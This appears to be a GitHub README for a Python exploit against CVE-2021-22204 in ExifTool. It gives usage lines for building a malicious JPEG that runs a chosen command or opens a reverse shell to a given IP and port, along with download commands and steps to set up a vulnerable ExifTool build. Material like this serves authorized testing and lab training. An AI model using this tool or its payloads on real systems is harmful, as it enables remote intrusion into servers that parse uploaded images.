Exploit for CVE-2021-22204 (ExifTool) - Arbitrary Code Execution

Like this repo? Give us a ⭐!

For educational and authorized security research purposes only.

Exploit Author

@UNICORDev by (@NicPWNs and @Dev-Yeoj)

Vulnerability Description

Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image.

Exploit Description

Use this exploit to generate a JPEG image payload that can be used with a vulnerable ExifTool version for code execution. A custom command can be provided or a reverse shell can be generated. A JPEG image is automatically generated, and optionally, a custom JPEG image can be supplied to have the payload inserted.

Usage

  python3 exploit-CVE-2021-22204.py -c <command>
  python3 exploit-CVE-2021-22204.py -s <local-IP> <local-port>
  python3 exploit-CVE-2021-22204.py -c <command> [-i <image.jpg>]
  python3 exploit-CVE-2021-22204.py -s <local-IP> <local-port> [-i <image.jpg>]
  python3 exploit-CVE-2021-22204.py -h

Options

  -c    Custom command mode. Provide command to execute.
  -s    Reverse shell mode. Provide local IP and port.
  -i    Path to custom JPEG image. (Optional)
  -h    Show this help menu.

Download

Download exploit-CVE-2021-22204.py from GitHub

Download exploit-CVE-2021-22204.py from ExploitDB

Searchsploit (ExploitDB)

searchsploit -u
searchsploit -m 50911

Exploit Requirements

• python3
• djvulibre-bin
• exiftool

Demo

Tested On

Exiftool Version 12.23

Applies To

Exiftool Versions 7.44 - 12.23

Vulnerable Environment

wget https://github.com/exiftool/exiftool/archive/refs/tags/12.23.zip
unzip exiftool-12.23.zip
cd exiftool-12.23
perl Makefile.PL
make test
sudo make install
exiftool -ver

Test Generated Payload

exiftool image.jpg

Credits

• https://hackerone.com/reports/1154542
• https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/
• https://nvd.nist.gov/vuln/detail/CVE-2021-22204
• https://app.hackthebox.com/machines/Overflow
• https://www.exploit-db.com/exploits/50911